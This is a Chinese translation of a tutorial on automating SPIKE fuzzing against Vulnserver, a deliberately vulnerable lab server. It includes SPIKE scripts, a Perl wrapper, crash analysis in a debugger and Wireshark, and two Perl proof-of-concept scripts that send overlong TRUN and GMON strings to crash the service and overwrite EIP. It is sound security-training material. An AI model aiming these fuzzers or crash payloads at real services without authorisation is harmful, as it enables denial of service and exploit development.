原文链接:https://resources.infosecinstitute.com/fuzzer-automation-with-spike/

自动化SPIKE fuzz Vulnserver

  为了满足实际fuzz工作的需要,我们得想出一个可以一个接一个地发送多个SPIKES的方法,同时记录足够的细节以便查看正在发送的内容,以及在fuzz过程中程序崩溃时,记录导致崩溃的输入。然后重新启动我们的程序并再次从中断位置开始fuzz测试。

  幸运的是,通过对我们的fuzz测试过程进行一些修改就可以做到上述的要求。 以下是修改此fuzz测试的概述:

  我们为每个要fuzz的消息创建.spk文件。 在这种情况下,我们将为每个支持的命令创建.spk文件,例如STATS,RTIME等。我们还将为这些SPIKE脚本提供连续的文件名,并在脚本中添加一些额外的命令,以便我们可以从终端获取更多得SPIKE信息。

  然后,创建一个wrapper程序,使用generic_send_tcp解释器运行每个.spk文件。 理想情况下,wrapper 程序将允许我们从任何一个提供的SPIKE脚本文件开始,并且当generic_send_tcp送到数据给已关闭的套接字时(表示它正在向其发送数据失败),wrapper程序将停止并向我们提供一些有用的信息。

  通过这个基本的框架设置,我们可以重复以下步骤,直到我们完成fuzz测试:

  • 在调试器中启动我们的程序,并在Wireshark中开始新的数据包捕获
  • 从我们中断的最后一个地方运行我们的wrapper程序,它将继续运行SPIKE脚本,直到它崩溃。
  • 当wrapper程序停止时,我们可以检查调试器中程序的状态,通过wrapper 程序的命令行输出以及Wireshark生成的数据包捕获,来确定导致崩溃的输入。
  • 一旦我们识别导致崩溃的数据,我们就可以将其插入到skeletion exploit中,再次利用这些崩溃数据运行目标程序,以查看崩溃是否可以轻松复制。
  • 重复,直到我们的fuzz测试过程完成。

  让我们从创建适当的SPIKE脚本文件开始。 在Linux fuzzing系统上创建一个新目录,并将以下内容写入放入“00help.spk”。

printf("HELP 00help.spk : "); //print to terminal command and filename
s_readline(); //print received line from server
s_string("HELP "); // send "HELP " to program
s_string_variable("COMMAND"); //send fuzzed string

  我们为此SPIKE文件添加了一些新的代码。 一开始的printf函数只是使用C语言的printf函数将一些文本打印到终端。 如果fuzz过程恰好在此脚本上停止,可以用该文本信息将标识当时正在fuzz的命令。 我们在括号内的文本中粘贴我们fuzz的命令和脚本文件的文件名。 下一个新命令s_string将一个静态字符串“HELP”添加到发送的SPIKE中(注意HELP后的空格 - 这很重要,这样我们的fuzz字符串就会被一个空格与HELP命令分开)。

  此脚本的总体目的是在Vulnserver中为HELP命令的参数插入fuzz数据,同时为我们提供足够的上下文数据以查看运行时发生的情况。

  我们将使用此基本模板创建SPIKE脚本,因此我们可以对每个命令进行fuzz处理。 查阅我们在分析阶段获得的支持命令列表,获取要添加的命令,并使用连续编号作为每个文件名的开头,例如: 01stats.spk,02rtime.spk,03ltime.spk。 这样我们可以定义在创建wrapper程序时定义fuzz的顺序,并为我们提供一种简单的方法来查看fuzz过程停止时停止的位置。

  Vulnserver所支持命令:

HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

  另一个示例,这是STATS命令(01stats.spk)的SPIKE脚本:

printf("STATS 01stats.spk : "); //print to terminal command and filename
s_readline(); //print received line from server
s_string("STATS "); // send "STATS " to program
s_string_variable("COMMAND"); //send fuzzed string

  现在为每个其他命令创建一个SPIKE脚本。 完成后,您的文件夹中应包含以下文件。 为了获得与本指南相符的最佳结果,请确保每个支持的命令的SPIKE文件按照与下面相同的顺序连续命名。 这并不是因为在这个特定的顺序中对命令进行fuzz测试有任何固有的好处,这只是为了让你得到与我相同的结果。

root@bt4r1vm:~/fuzzing# ls *.spk
00help.spk 03ltime.spk 06gmon.spk 09gter.spk 12kstan.spk
01stats.spk 04srun.spk 07gdog.spk 10hter.spk 13exit.spk
02rtime.spk 05trun.spk 08kstet.spk 11lter.spk

  现在我们有了SPIKE脚本文件,接下来准备一个wrapper程序来运行它们。 像下面这样的东西就足够了。

#!/usr/bin/perl
# Simple wrapper to run multiple .spk files using generic_send_tcp
$spikese = '/pentest/fuzzers/spike/generic_send_tcp';
if ($ARGV[4] eq '') {
die("Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR\n\n");
}
$skipfiles = $ARGV[2];
@files = <*.spk>;
foreach $file (@files) {
if (! $skipfiles) {
if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]") ) {
print "Stopped processing file $file\n";
exit(0);
}
} else {
$skipfiles--;
}
}

  此wrapper程序将在当前工作目录中找到所有文件名以.spk结尾的文件,并将使用该文件作为输入脚本文件运行generic_send_tcp,并在命令行中提供IP地址,端口和SKIPVAR以及SKIPSTR的值变量。 此外,它还允许您为变量SKIPFILE提供一个值,该变量SKIPFILE对于此wrapper脚本是唯一的,它允许您跳过当前目录中的一定数量的.spk文件。 由于wrapper程序每次都会以相同的顺序读取.spk文件(假设它们的文件名保持不变),如果需要重新启动会话,这将允许您跳过已经fuzz测试过的命令/脚本文件。

  如果您没有将BackTrack用于Linuxfuzz测试系统,则需要将包装程序中generic_send_tcp命令的路径更改为所在的相应文件路径。 您还需要确保遵循“要求和系统设置”部分中说明的有关修改SPIKE内容,以便程序可以在无法发送到套接字时以非零返回值终止。 如果没有这样做,generic_send_tcp将在会话关闭后继续尝试向该会话发送数据,直到它完成执行,由于此wrapper程序依赖于它在无法再发送时停止,因此请确保有进行上述操作。

  将上面的内容写入Linux fuzzing系统上的fuzzer.pl并将该文件标记为可执行文件(chmod + x)。

  在Wireshark(Capture menu-> Restart)中重新启动数据包捕获,使用“Delete”按钮清除Wireshark中的任何过滤器,并确保Vulnserver在我们的目标系统上的调试器中运行。 现在我们准备做更多的fuzz测试了。 如下运行fuzzer.pl:

root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 0 0 0

  开始运行,将大量数据喷射到终端。 如果你让它运行的时间足够长,你最终将看到程序终止,结束输出如下所示。 通过最后一行得知,在处理SPIKE脚本文件05trun.spk时,wrapper 脚本已经停止。 如果仔细查看崩溃后输出的最后一行,还应注意到缺少的内容 - 欢迎消息尚未打印到终端。

Fuzzing Variable 0:200
TRUN 05trun.spk : Variablesize= 10000
Fuzzing Variable 0:201
TRUN 05trun.spk : Variablesize= 5000
Fuzzing Variable 0:202
Couldn't tcp connect to target
Stopped processing file 05trun.spk

  在终端中向上滚动,直到看到最后一次打印出来的欢迎消息。 您应该看到它出现在终端看起来如下所示的位置。

[...SNIP...]
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help.
Variablesize= 5004
Fuzzing Variable 0:2
TRUN 05trun.spk : Variablesize= 5005
Fuzzing Variable 0:3
TRUN 05trun.spk : Variablesize= 21
[...SNIP...]

  您可以从上面的输出中看到,最后一次欢迎消息被打印到终端就在“Fuzzing Variable 0:1”出现之后。 显然,在文件05trun.spk中的这个特定fuzz字符串被发送到应用程序后,它不再能够发送欢迎消息。

  查看调试器,看到如下所示的内容:

  调试器向我们显示程序在执行[41414141]时遇到访问冲突,并且EIP寄存器指向41414141。我们似乎在Vulnserver程序中发现了一个错误,产生的原因和TRUN命令相关。

  我们怎么知道fuzzer实际发送了什么内容来产生这个崩溃呢? 为了找到答案,我们可以查看Wireshark。转到Wireshark捕获并选择最后一个数据包。 现在打开“Edit”菜单并选择“Find Packet”选项。 在Find Packet窗口的Direction部分中选择Up单选按钮,然后在Find部分中选择String单选按钮并搜索字符串“Welcome”。 我们将找到将欢迎消息发送到客户端系统的最后一个会话。

  点击Find,然后在右键单击的第一个数据包上选择Follow TCP Steam。 然后你应该看到类似下面的内容。

  一个TRUN命令,后跟一些其他随机字符和一个非常长的“A”字符串。

  如果您使用Follow TCP Stream窗口底部的下拉框仅显示从目标系统发送的数据(它应以蓝色突出显示),您还应注意,当发送欢迎消息时,没有其他数据 - 例如 没有响应TRUN命令。

  考虑到服务器发送的最后一条欢迎消息是在此会话中,并且没有对上面显示的TRUN命令进行回复,看起来这个TRUN命令是导致崩溃的原因。 (还有一条线索在调试器输出中 - 你发现了吗?)

  使用Follow TCP Stream窗口底部的下拉框仅显示从我们的fuzz测试系统发送的数据(它是红色的),并使用另存为按钮将此内容保存到磁盘 - 我将其保存到/TMP / TRUN-data.txt中。

  现在尝试将该导致崩溃的数据发送到应用程序,以查看崩溃是否再次发生。 在目标系统上的Ollydbg中,使用Debug菜单中的Restart选项重新启动Vulnserver,然后按F9键(或Debug菜单,Run或工具栏上的Play按钮)重新启动它。 重新启动Wireshark捕获(Capture menu,Restart)并清除所有显示过滤器(使用显示过滤器工具栏上的清除按钮)。

  通过查看SPIKE发送的TRUN命令发送的内容,它看起来只是在开头添加了一些其他字符的一长串“A”字符。让我们在Linux系统上使用sed来替换A字符,来查看此字符串中包含除“A”以外的字符。

root@bt4r1vm:~/fuzzing# sed 's/A//g' /tmp/trun-data.txt
TRUN /.:/root@bt4r1vm:~/fuzzing#

  除了大写的“A”字符之外,文本“TRUN /.:/”似乎是唯一的东西。如下命令查看此数据的长度。

root@bt4r1vm:~/fuzzing# sed 's/A//g' /tmp/trun-data.txt | wc -m
9

  此数据长度为9个字符。 现在让我们检查整个文件的长度 - 包括“A”字符。

root@bt4r1vm:~/fuzzing# wc -m /tmp/trun-data.txt
5009 /tmp/trun-data.txt

  整个是5009个字符长。 由字符串“TRUN /.:/”加上5000“A”字符组成。
  我们可以使用以下Perl代码将这些数据发送到程序。

#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n"); # help message shown if too few variables are provided
}
$baddata = "TRUN /.:/"; # sets variable $badata to "TRUN /.:/"
$baddata .= "A" x 5000; # appends 5000 "A" characters to $baddata variable
$socket = IO::Socket::INET->new( # creates a new socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # IP address - command line variable 1
PeerPort => "$ARGV[1]" # TCP port number - command line variable 2
) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; # error shown if socket connection cannot be established
$socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message
print "$serverdata"; # prints out received data
$socket->send($baddata); # sends data in $baddata over socket

  此代码实质上将相应的fuzz字符串存储在变量$ baddata中,TCP套接字设置为命令行中指定的IP地址和端口,通过套接字接收并打印“欢迎”消息,并将fuzz字符串发送到服务器。

  将此代码保存到“trun.pl”中,将该文件标记为可执行文件(chmod + x trun.pl)并运行它。

root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

  如果检查目标系统上的调试器,则应该看到相同的访问冲突。 我们发现了一个导致应用程序出错的输入值!我们发送的输入数据已劫持EIP寄存器。

  所以现在我们已经找到了程序中的第一个错误,我们可以继续fuzz我们识别的其余输入向量。 在调试器中重新启动Wireshark捕获和Vulnserver,并运行wrapper 程序,使用值6作为SKIPFILE变量。 这将跳过文件夹中的前6个SPIKE脚本文件并且将从7开始,在我们的例子中应该是文件06gmon.spk。

root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 6 0 0

  如果你在启动此命令后密切关注调试器,你会发现几乎立即发生崩溃,但SPIKE会在最终停止之前继续运行一段时间。 终端中的最后几行输出如下所示:

[...SNIP...]
GMON 06gmon.spk : Variablesize= 10000
Fuzzing Variable 0:201
GMON 06gmon.spk : Variablesize= 5000
Fuzzing Variable 0:202
Couldn’t tcp connect to target
Stopped processing file 06gmon.spk

  看起来06gmon.spk脚本生成的fuzz输入之一已在程序中生成错误。 向上滚动终端中,会注意到“欢迎”消息在一段时间后停止显示。

  转到Wireshark捕获并使用“Edit”菜单,“Find Packet”选项从最后一个数据包向上搜索字符串“Welcome”,如前所述,Follow TCP Stream。 你应该注意到一些熟悉的东西。 发送到服务器的内容似乎导致崩溃的是GMON命令......后跟一些其他随机字符和一长串“A”。

  修改之前的POC(perl)脚本,使操作变更为GMON,并命名为gmon.pl:

#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$baddata = "GMON /.:/";
$baddata .= "A" x 5000;
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]"
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata, 1024);
print "$serverdata";
$socket->send($baddata);

  将此文件标记为可执行文件,并针对您的Vulnserver实例运行它(确保首先在调试器中重新启动它)。

root@bt4r1vm:~/fuzzing# ./gmon.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

  崩溃应该再次发生。 我们找到了另一个触发Vulnserver中的另一个漏洞!

  在这一点上,我将不做进一步的讨论。 我鼓励读者继续,使用目前为止生成的每个SPIKE脚本fuzz Vulnserver,并找到了程序中的其他漏洞。

  希望到目前为止提供的示例足以向你展示这个模糊测试过程的工作原理。 总而言之,我们基本上使用我们的wrapper 脚本以定义的顺序迭代多个SPIKE脚本,当这些脚本发现应用程序中的错误时,我们识别触发错误的输入,手动确认,然后使用我们的wrapper 脚本来继续下一个脚本。

总结

  本文演示了如何使用SPIKE脚本对Vulnserver应用程序进行fuzz测试,以查找可利用漏洞的过程。虽然我们使用了一个故意编写为可利用的应用程序,作为fuzz目标,但是我们分析程序支持的命令和用于与之通信的方法,fuzz过程等内容适用于许多其他应用程序。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖